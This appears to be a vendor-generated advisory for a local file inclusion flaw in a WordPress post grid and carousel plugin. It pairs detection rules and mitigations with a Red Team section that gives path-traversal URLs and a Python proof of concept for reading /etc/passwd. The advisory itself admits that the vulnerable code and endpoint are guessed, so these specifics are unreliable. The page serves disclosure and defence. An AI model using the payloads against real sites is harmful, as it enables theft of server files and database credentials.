CVE-2025-24782
Executive Summary
CVE-2025-24782 is a PHP Local File Inclusion (LFI) vulnerability in the WordPress plugin Post Grid, Slider & Carousel Ultimate by wpWax, affecting versions up to and including 1.6.10. The vulnerability stems from improper control of filenames in include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd or WordPress configuration files containing database credentials. The CVSS score is 6.5 (Medium), with a network attack vector and no authentication required. No public exploit code or patch details are currently available, but the risk is significant due to the widespread use of WordPress plugins.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from wpWax. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 6.5, the ease of exploitation and potential for sensitive data exposure elevate the risk for unpatched WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the plugin's file inclusion mechanism, likely within a PHP function that processes user-supplied parameters (e.g., include, require, or file_get_contents) without proper sanitization. An attacker can manipulate a GET or POST parameter (such as template, file, or path) to traverse directories and include arbitrary files.
Example vulnerable code pattern:
$file = $_GET['template'];
include(plugin_dir_path(__FILE__) . 'templates/' . $file . '.php');
An attacker could supply ../../../../etc/passwd to read system files, or ../../../../wp-config to read WordPress configuration.
The plugin's version 1.6.10 and earlier are affected. The lack of a patch suggests the vendor may be unresponsive or the vulnerability was recently disclosed.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical):
// In a plugin file like includes/class-frontend.php
function load_template() {
$template = $_GET['template'];
include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');
}
Patched Code (expected):
function load_template() {
$allowed_templates = array('grid', 'slider', 'carousel');
$template = sanitize_file_name($_GET['template']);
if (in_array($template, $allowed_templates)) {
include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');
} else {
wp_die('Invalid template.');
}
}
The patch should implement a whitelist of allowed files and use sanitize_file_name() to prevent path traversal.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 1.6.10).
- Knowledge of the plugin's file inclusion parameter (e.g.,
template).
Exploitation Steps:
- Identify the vulnerable endpoint, typically via a URL like:
http://target.com/wp-content/plugins/post-grid-carousel-ultimate/includes/class-frontend.php?template=grid - Attempt path traversal to read sensitive files:
http://target.com/wp-content/plugins/post-grid-carousel-ultimate/includes/class-frontend.php?template=../../../../etc/passwd - If successful, the file content will be displayed or included in the response.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com/wp-content/plugins/post-grid-carousel-ultimate/includes/class-frontend.php"
params = {"template": "../../../../etc/passwd"}
response = requests.get(target, params=params)
if "root:" in response.text:
print("LFI successful!")
print(response.text)
else:
print("Exploit failed.")
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious
templateparameters containing../or..%2f. - Use WAF rules to block path traversal patterns.
Hunting:
- Search for requests to
class-frontend.phpwith unusualtemplatevalues. - Check for inclusion of non-standard files like
/etc/passwdorwp-config.php.
Lab Setup:
- Deploy a WordPress instance with the vulnerable plugin in a sandboxed environment.
- Use tools like Burp Suite or OWASP ZAP to test for LFI.
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/etc/shadow,/wp-config.php,/proc/self/environ - URL Patterns:
?template=../../../../etc/passwd,?template=..%2f..%2f..%2f..%2fetc/passwd - Log Entries: HTTP requests to
class-frontend.phpwithtemplateparameter containing directory traversal sequences. - Plugin Version:
post-grid-carousel-ultimateversion <= 1.6.10.
Detection Engineering
YARA Rule
rule CVE_2025_24782_LFI {
meta:
description = "Detects LFI attempts against Post Grid, Slider & Carousel Ultimate plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-24782"
strings:
$traversal1 = "..%2f" nocase
$traversal2 = "../" nocase
$traversal3 = "..\\" nocase
$param = "template=" nocase
$sensitive = "/etc/passwd" nocase
condition:
all of ($param, $traversal*) or ($param and $sensitive)
}
Sigma Rule
title: CVE-2025-24782 LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Post Grid, Slider & Carousel Ultimate plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- "template=..%2f"
- "template=../"
- "template=..\\"
condition: selection
falsepositives:
- Legitimate use of template parameter with valid paths
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24782 LFI Attempt"; flow:to_server; content:"template="; http_uri; content:"..%2f"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
- Restrict file inclusion to a whitelist of allowed templates.
Long-Term Fix:
- Apply the vendor's patch when available (currently UNKNOWN).
- Replace the plugin with an alternative that is actively maintained.
Workaround:
- Add the following to
.htaccessto block malicious requests:RewriteEngine On RewriteCond %{QUERY_STRING} template=\.\. [NC] RewriteRule .* - [F,L]
Valters IT – Your trusted partner in DevSecOps and Cyber Threat Intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.